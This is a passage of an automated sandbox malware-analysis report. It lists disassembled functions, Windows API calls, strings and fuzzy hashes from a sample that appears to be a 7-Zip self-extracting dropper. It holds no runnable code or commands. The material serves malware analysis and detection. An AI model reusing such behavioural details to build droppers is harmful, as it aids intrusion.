Opcode Fuzzy Hash: 5bad17cc77e2d39d7f6897ae69eb46f7fe1422127806d73b42e5b41d987a673b
Instruction Fuzzy Hash: 495181B1A00205ABDF14DB95C889AAE7BB4EF49354F1441BAE905B7381D338DD81CB9D

Function 00403354 Relevance: 10.6, APIs: 7, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(00404AC6,?,?,00000000,?,?,?,?,00404AC6,?), ref: 00403361
GetSystemTimeAsFileTime.KERNEL32(?,00404AC6,?,?,?,?,00404AC6,?,?,?,?,?,?,?,?,?), ref: 004033D7
GetFileAttributesW.KERNELBASE(?,?,?,?,?,00404AC6,?,?,?,?,?,?,?,?,?,00000000), ref: 004033DE
??3@YAXPAX@Z.MSVCRT(?,00404AC6,?,?,?,?,00404AC6,?,?,?,?,?,?,?,?,?), ref: 0040349D

Part of subcall function 0040112B: ??2@YAPAXI@Z.MSVCRT(00000000,00000000,?,00000000,00401425,00000003,?,0040502D,?,?,00000000), ref: 0040114B
Part of subcall function 0040112B: ??3@YAXPAX@Z.MSVCRT(?,00000000,?,00000000,00401425,00000003,?,0040502D,?,?,00000000), ref: 00401171

memcpy.MSVCRT(-00000001,00404AC6,?,?,?,?,?,00404AC6,?), ref: 0040342F
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,00404AC6,?,?,?,?,?,?,?,?,?,00000000), ref: 0040346C
??3@YAXPAX@Z.MSVCRT(?,00000001,0000000C,00404AC6,00404AC6,?,?,?,?,00404AC6,?), ref: 004034B2

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: ??3@$FileTime$??2@AttributesSystemlstrlenmemcpy
String ID:
API String ID: 846840743-0
Opcode ID: 59d4a2ad1293f13bca9fbc2cc36a10c810479fd21a5ed498f46fbcb1fa619914
Instruction ID: c1b9adc2f16cc45d244a7c0b75b8b4a4f89234fa72cd4c12ee41ca3d86f3c48f
Opcode Fuzzy Hash: 59d4a2ad1293f13bca9fbc2cc36a10c810479fd21a5ed498f46fbcb1fa619914
Instruction Fuzzy Hash: 8F41C836904611AADB216F998881ABF7F6CEF40716F80403BED01B61D5DB3C9B4282DD

Function 00404405 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 91
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00401F47: GetUserDefaultUILanguage.KERNEL32(00404416,00000000,00000020,?), ref: 00401F51

Part of subcall function 00401F9D: GetLastError.KERNEL32(00000000,00000020,?), ref: 00401FEC
Part of subcall function 00401F9D: wsprintfW.USER32 ref: 00401FFD
Part of subcall function 00401F9D: GetEnvironmentVariableW.KERNEL32(?,00000000,00000000), ref: 00402012
Part of subcall function 00401F9D: GetLastError.KERNEL32 ref: 00402017
Part of subcall function 00401F9D: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 00402032
Part of subcall function 00401F9D: GetEnvironmentVariableW.KERNEL32(?,00000000,?), ref: 00402045
Part of subcall function 00401F9D: GetLastError.KERNEL32 ref: 0040204C
Part of subcall function 00401F9D: lstrcmpiW.KERNEL32(00000000,00000020), ref: 00402061
Part of subcall function 00401F9D: ??3@YAXPAX@Z.MSVCRT(00000000), ref: 00402071
Part of subcall function 00401F9D: SetLastError.KERNEL32(00000000), ref: 00402098
Part of subcall function 00401F9D: lstrlenA.KERNEL32(00413FD0), ref: 004020CC
Part of subcall function 00401F9D: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 004020E7
Part of subcall function 00401F9D: GetLocaleInfoW.KERNEL32(?,00001004,?,0000001F), ref: 00402119

Part of subcall function 00401F9D: ??3@YAXPAX@Z.MSVCRT(00000020), ref: 0040208F
Part of subcall function 00401F9D: _wtol.MSVCRT ref: 0040212A
Part of subcall function 00401F9D: MultiByteToWideChar.KERNEL32(00000000,00413FD0,00000001,00000000,00000002), ref: 0040214A

SHGetSpecialFolderPathW.SHELL32(00000000,?,00000000,00000000,?,?,?,?,00000000,00000020,?), ref: 0040448C
wsprintfW.USER32 ref: 004044A7

Part of subcall function 00402F6C: ??2@YAPAXI@Z.MSVCRT(00000018,00000000,004044E9,?,?,?,?,?,?,?,?,?,?,00000000,00000020,?), ref: 00402F71

#17.COMCTL32(?,?,?,?,00000000,00000020,?), ref: 00404533

Strings

7zSfxFolder%02d, xrefs: 004044A1
IA, xrefs: 0040447B

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: ErrorLast$??2@$??3@EnvironmentVariablewsprintf$ByteCharDefaultFolderInfoLanguageLocaleMultiPathSpecialUserWide_wtollstrcmpilstrlen
String ID: 7zSfxFolder%02d$IA
API String ID: 3387708999-1317665167
Opcode ID: 205a0074c49e5804c32477661e2015f4351efd6e14d5df67bf5bfd9f1882f569
Instruction ID: c443879f351b6d6d2b07c84fde6f3777072453d7374e8d7fc75fcfd2f507d9dd
Opcode Fuzzy Hash: 205a0074c49e5804c32477661e2015f4351efd6e14d5df67bf5bfd9f1882f569
Instruction Fuzzy Hash: E03140B19042199BDB10FFA2DC86AEE7B78EB44308F40407FF619B21E1EB785644DB58

Function 00408EA4 Relevance: 8.0, APIs: 3, Strings: 2, Instructions: 464
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??2@YAPAXI@Z.MSVCRT(00000018,?,?,00000000,?), ref: 00408F0F
??2@YAPAXI@Z.MSVCRT(00000028,00000000,?,?,00000000,?), ref: 00408F59

Strings

IA, xrefs: 00409391
IA, xrefs: 00409225

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: ??2@
String ID: IA$IA
API String ID: 1033339047-1400641299
Opcode ID: ade758c57321b25e9a53a0c33f99253ab3068af0158966582580042e8f9f7447
Instruction ID: ddcf9de22f7a46eeefc4975c1fab543939f34ce9f972055b0c78c556d294e1f5
Opcode Fuzzy Hash: ade758c57321b25e9a53a0c33f99253ab3068af0158966582580042e8f9f7447
Instruction Fuzzy Hash: EF123671A00209DFCB14EFA5C98489ABBB5FF48304B10456EF95AA7392DB39ED85CF44

Function 00410CD0 Relevance: 7.5, APIs: 1, Strings: 4, Instructions: 23
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

free.MSVCRT ref: 00410D0D

Strings

$KA, xrefs: 00410CF7
\KA, xrefs: 00410CE2
4KA, xrefs: 00410CF0
HKA, xrefs: 00410CE9

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: free
String ID: $KA$4KA$HKA$\KA
API String ID: 1294909896-3316857779
Opcode ID: 376fb7dfafd84c32bde4dd83858b4f8e2c6f0d8f0efa40633e7013e4dd95691d
Instruction ID: 889df95fe732b3a4b2d84b4ab476e7a54c7f97cead7299b76f73e2708a1c6c0a
Opcode Fuzzy Hash: 376fb7dfafd84c32bde4dd83858b4f8e2c6f0d8f0efa40633e7013e4dd95691d
Instruction Fuzzy Hash: C5F09271409B109FC7319F55E405AC6B7F4AE447183058A2EA89A5BA11D3B8F989CB9C

Function 004096C7 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 388
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 004096D0
??2@YAPAXI@Z.MSVCRT(00000038,00000001), ref: 0040986E
??2@YAPAXI@Z.MSVCRT(00000038,?,00000000,00000000,00000001), ref: 00409941

Part of subcall function 00409C13: ??2@YAPAXI@Z.MSVCRT(00000020,?,00000000,?,00409952,?,00000000,00000000,00000001), ref: 00409C3B

Strings

HIA, xrefs: 0040978B

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: ??2@$H_prolog
String ID: HIA
API String ID: 3431946709-2712174624
Opcode ID: 5664c2804fe39f9fee2805cb412b18014b96d9821453edab9864f4d5d9c1b48b
Instruction ID: da3614a8b55b1d80bdf53177d95d0cff5abf3d9c279f99a440b99522f39c568d
Opcode Fuzzy Hash: 5664c2804fe39f9fee2805cb412b18014b96d9821453edab9864f4d5d9c1b48b
Instruction Fuzzy Hash: 53F13971610249DFCB24DF69C884AAA77F4BF48314F24416AF829AB392DB39ED41CF54

Function 00402844 Relevance: 6.4, APIs: 5, Instructions: 118
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(?,?,00000000), ref: 00402876
lstrlenA.KERNEL32(?,?,00000000), ref: 0040287E
memcmp.MSVCRT(?,?,?), ref: 004028E4
memcmp.MSVCRT(?,?,?,?,00000000), ref: 00402921
memmove.MSVCRT(?,?,00000000,?,00000000), ref: 00402953

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: lstrlenmemcmp$memmove
String ID:
API String ID: 3251180759-0
Opcode ID: 67daa449d30d113f3b3b6daec82bd49862eba03341b4cd8aae73257779b8cae6
Instruction ID: d4955105e7b234ce255a009ef61331e6eb412850de833d0a73495bfba1f32545
Opcode Fuzzy Hash: 67daa449d30d113f3b3b6daec82bd49862eba03341b4cd8aae73257779b8cae6
Instruction Fuzzy Hash: 4A417F72E00209AFCF01DFA4C9889EEBBB5EF08344F04447AE945B3291D3B49E55CB55

Function 0040150B Relevance: 6.1, APIs: 4, Instructions: 100
synchronizationthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(00000000,00000000,0040129C,00000000,00000000,?), ref: 0040154F
WaitForSingleObject.KERNEL32(000000FF,?,00404AFB,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00401570

Part of subcall function 00407776: wvsprintfW.USER32(?,00000000,?), ref: 0040779A
Part of subcall function 00407776: GetLastError.KERNEL32(?,00000000,0000FDE9), ref: 004077AB
Part of subcall function 00407776: FormatMessageW.KERNEL32(00001100,00000000,00000000,00402A50,00402A50,00000000,00000000,?,00000000,0000FDE9), ref: 004077D3
Part of subcall function 00407776: FormatMessageW.KERNEL32(00001100,00000000,00402A50,00000000,00402A50,00000000,00000000,?,00000000,0000FDE9), ref: 004077E8
Part of subcall function 00407776: lstrlenW.KERNEL32(?,?,00000000,0000FDE9), ref: 004077FB
Part of subcall function 00407776: lstrlenW.KERNEL32(00402A50,?,00000000,0000FDE9), ref: 00407802
Part of subcall function 00407776: ??2@YAPAXI@Z.MSVCRT(00000000,?,00000000,0000FDE9), ref: 00407817
Part of subcall function 00407776: lstrcpyW.KERNEL32(00000000,?,?,00000000,0000FDE9), ref: 0040782D
Part of subcall function 00407776: lstrcpyW.KERNEL32(-00000002,00402A50,?,00000000,0000FDE9), ref: 0040783E
Part of subcall function 00407776: ??3@YAXPAX@Z.MSVCRT(00000000,00000000,?,00000000,0000FDE9), ref: 00407847
Part of subcall function 00407776: LocalFree.KERNEL32(00402A50,?,00000000,0000FDE9), ref: 00407851

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: FormatMessagelstrcpylstrlen$??2@??3@CreateErrorFreeLastLocalObjectSingleThreadWaitwvsprintf
String ID:
API String ID: 359084233-0
Opcode ID: bfd7be960afb110040db1d822841385e4bb8395790a59903d21b295a7462948d
Instruction ID: 87277f5b9ffc23463226fd0df2644328d4cfb3d5af9d6e9341eee715f5e270ad
Opcode Fuzzy Hash: bfd7be960afb110040db1d822841385e4bb8395790a59903d21b295a7462948d
Instruction Fuzzy Hash: 8231F171644200BBDA305B15DC86EBB37B9EBC5350F24843BF522F92F0CA79A941DA5E

Function 00401986 Relevance: 6.0, APIs: 4, Instructions: 27
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(004033CE,00000000,-00000001,004033CE,?,00404AC6,?,?,?,?,00404AC6,?), ref: 0040198D
GetLastError.KERNEL32(?,?,?,?,00404AC6,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00401997
SetLastError.KERNEL32(000000B7,?,?,?,?,00404AC6,?,?,?,?,?,?,?,?,?,00000000), ref: 004019A7
GetFileAttributesW.KERNELBASE(?,?,?,?,?,00404AC6,?,?,?,?,?,?,?,?,?,00000000), ref: 004019B5

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: ErrorLast$AttributesCreateDirectoryFile
String ID:
API String ID: 635176117-0
Opcode ID: 393c5bca226d6deeec728b25f224b431065b6bfcdefbc0a9fd36f7f362ffe78b
Instruction ID: 5ae0be16486f509c6b40768ba71a6c1c2cea9be4331c5fc90c1b41dbeb0419e3
Opcode Fuzzy Hash: 393c5bca226d6deeec728b25f224b431065b6bfcdefbc0a9fd36f7f362ffe78b
Instruction Fuzzy Hash: D5E09AB0518250AFDE142BB4BD187DB3AA5AF46362F508932F495E02F0C33888428A89

Function 00404A44 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 81
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??2@YAPAXI@Z.MSVCRT(000001E8,00000000,?,ExecuteFile,00000021,?,00405D20,?,00417788,00417788), ref: 00404A5A
??2@YAPAXI@Z.MSVCRT(00000040,?,?,?,?,?,?,?,?,00000000,?), ref: 00404ADC

Strings

ExecuteFile, xrefs: 00404A48

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: ??2@
String ID: ExecuteFile
API String ID: 1033339047-323923146
Opcode ID: fa0511c003ccdb3ab72568a6a3a656966613ea7ca94b66f833361549b4052979
Instruction ID: 446d0bd8c70a379003bbf02419fa435b46014474c8a02eb0da5acec479ce97d7
Opcode Fuzzy Hash: fa0511c003ccdb3ab72568a6a3a656966613ea7ca94b66f833361549b4052979
Instruction Fuzzy Hash: EA1184B5340104BFD710AB659C85D6B73A8EF80355724443FF602B72D1DA789D418A6D

Function 0040ADC3 Relevance: 4.5, APIs: 3, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??2@YAPAXI@Z.MSVCRT(?,?,?,?,0040B1B6,00010000), ref: 0040ADD6
memmove.MSVCRT(00000000,?,?,?,?,?,0040B1B6,00010000), ref: 0040ADF0
??3@YAXPAX@Z.MSVCRT(?,?,?,?,0040B1B6,00010000), ref: 0040AE00

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: ??2@??3@memmove
String ID:
API String ID: 3828600508-0
Opcode ID: 681e1b0d226f40fe4ab8b8450f07d9ff2e75d0d2427af455dbd11f2bdce48d51
Instruction ID: a8ce0a3cb4653ecb547b1a3698f229d81d6147035ad3680bc60947505803a3f4
Opcode Fuzzy Hash: 681e1b0d226f40fe4ab8b8450f07d9ff2e75d0d2427af455dbd11f2bdce48d51
Instruction Fuzzy Hash: 74F089763047016FC3205B1ADC80857BBABDFC4715311883FE55E93A50D634F891965A

Function 0040245A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 39COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNELBASE(00000040), ref: 0040247E

Strings

@, xrefs: 00402471

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID: @
API String ID: 1890195054-2766056989
Opcode ID: e165e649a9da5613d175048000a137ea24de4513e4899c41680211bbe6bcf060
Instruction ID: 9ce3ff159218229c34eda893c3d8d64f83397f3f2cddac743d7c565554413103
Opcode Fuzzy Hash: e165e649a9da5613d175048000a137ea24de4513e4899c41680211bbe6bcf060
Instruction Fuzzy Hash: AAF0AF30A042048ADF15AB719E8DA5A37A4BB00348F10853AF516F52D4D7BCE9048B5D

Function 0040C9FC Relevance: 3.2, APIs: 2, Instructions: 184COMMON

Download Yara Rule

APIs

Part of subcall function 0040AAAB: _CxxThrowException.MSVCRT(?,00414EF8), ref: 0040AAC5

Part of subcall function 0040ADC3: ??2@YAPAXI@Z.MSVCRT(?,?,?,?,0040B1B6,00010000), ref: 0040ADD6
Part of subcall function 0040ADC3: memmove.MSVCRT(00000000,?,?,?,?,?,0040B1B6,00010000), ref: 0040ADF0
Part of subcall function 0040ADC3: ??3@YAXPAX@Z.MSVCRT(?,?,?,?,0040B1B6,00010000), ref: 0040AE00

??3@YAXPAX@Z.MSVCRT(?,?,?,?,004149F0,?,004149B0), ref: 0040CAF2
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,004149F0,?,004149B0), ref: 0040CC4A

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: ??3@$??2@ExceptionThrowmemmove
String ID:
API String ID: 4269121280-0
Opcode ID: 55a34ad2a1bb823cdc9ec8962d94a78352b48210c79ef81d7d99dd1713e8f51f
Instruction ID: 88480e7f7e551c391a26326ce122d220a9eefc885560dc6ed21150e7f5ba8ef6
Opcode Fuzzy Hash: 55a34ad2a1bb823cdc9ec8962d94a78352b48210c79ef81d7d99dd1713e8f51f
Instruction Fuzzy Hash: 00712571A00209EFCB24DFA5C8D1AAEBBB1FF08314F10463AE545A3291D739A945CF99

Function 0040A62F Relevance: 3.1, APIs: 2, Instructions: 135COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040A634
??3@YAXPAX@Z.MSVCRT(?), ref: 0040A729

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: ??3@H_prolog
String ID:
API String ID: 1329742358-0
Opcode ID: 6656e43d2981dee3a96cb881ff7527404ad10ce0abe68b4cdaafc38c009261e5
Instruction ID: 956102545b91a7c0cba0a64d671320761176ea25dc816e9057e3d4af94f09eda
Opcode Fuzzy Hash: 6656e43d2981dee3a96cb881ff7527404ad10ce0abe68b4cdaafc38c009261e5
Instruction Fuzzy Hash: 0D411F32800204AFCB09DB65CD45EBE7B35EF50304B18883BF402B72E2D63E9E21965B

Function 0040112B Relevance: 3.0, APIs: 2, Instructions: 42COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000000,00000000,?,00000000,00401425,00000003,?,0040502D,?,?,00000000), ref: 0040114B
??3@YAXPAX@Z.MSVCRT(?,00000000,?,00000000,00401425,00000003,?,0040502D,?,?,00000000), ref: 00401171

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: ??2@??3@
String ID:
API String ID: 1936579350-0
Opcode ID: 453a3e3f1ff100c9dcfb77a92201942aa697f3f866fb972755d4e05e551f17b9
Instruction ID: 063e94d8e06ff9613a5b681c15dc067c338ae4066a9753272274ce5f9f11bd0f
Opcode Fuzzy Hash: 453a3e3f1ff100c9dcfb77a92201942aa697f3f866fb972755d4e05e551f17b9
Instruction Fuzzy Hash: 71F0A476210612ABC334DF2DC581867B3E4EF88711710893FE6C7C72B1DA31A881C754

Function 004022B0 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(?,00000000,?,00000024,004025DB,00000001,00000020,00402AB6,00000000,00000000,00000000,00000020), ref: 004022C0
??3@YAXPAX@Z.MSVCRT(?,00000000,?,00000024,004025DB,00000001,00000020,00402AB6,00000000,00000000,00000000,00000020), ref: 004022E4

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: ??2@??3@
String ID:
API String ID: 1936579350-0
Opcode ID: 161b1d3c566106e9ad65e75d5d4507556b29aa609190ea75727e2c569a68f83b
